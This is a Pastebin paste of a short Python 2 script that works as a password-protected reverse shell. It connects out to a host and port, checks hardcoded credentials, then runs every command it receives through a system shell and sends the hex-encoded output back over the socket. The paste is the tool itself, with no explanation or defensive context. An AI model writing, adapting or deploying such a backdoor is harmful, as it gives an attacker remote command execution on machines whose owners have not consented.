Guest User

Untitled

a guest
Oct 29th, 2017
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.77 KB | None | 0 0
  1. import socket,re,sys,hashlib,subprocess,base64
  2. host = "127.0.0.1"
  3. port = int(sys.argv[1])
  4. usern = "gmo"
  5. passw = hashlib.sha512("omg").hexdigest()
  6. sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  7. try:
  8.  sock.connect((host,port))
  9.  sock.send("Username\n")
  10.  user = base64.b64decode(str.strip(sock.recv(1024)))
  11.  sock.send("Password\n")
  12.  password = hashlib.sha512(base64.b64decode(str.strip(sock.recv(1024)))).hexdigest()
  13.  if user == usern and password == passw:  
  14.   sock.send('Access Granted! Press enter to access the shell.')
  15.   while 1:
  16.    command = sock.recv(2048)
  17.    proc = subprocess.Popen(command,stdout=subprocess.PIPE, shell=True)
  18.    results = proc.stdout.read().encode("hex")
  19.    sock.send(results)
  20.   print 'Server closed!'
  21. except:
  22.  print 'Server closed!'
Add Comment
Please, Sign In to add comment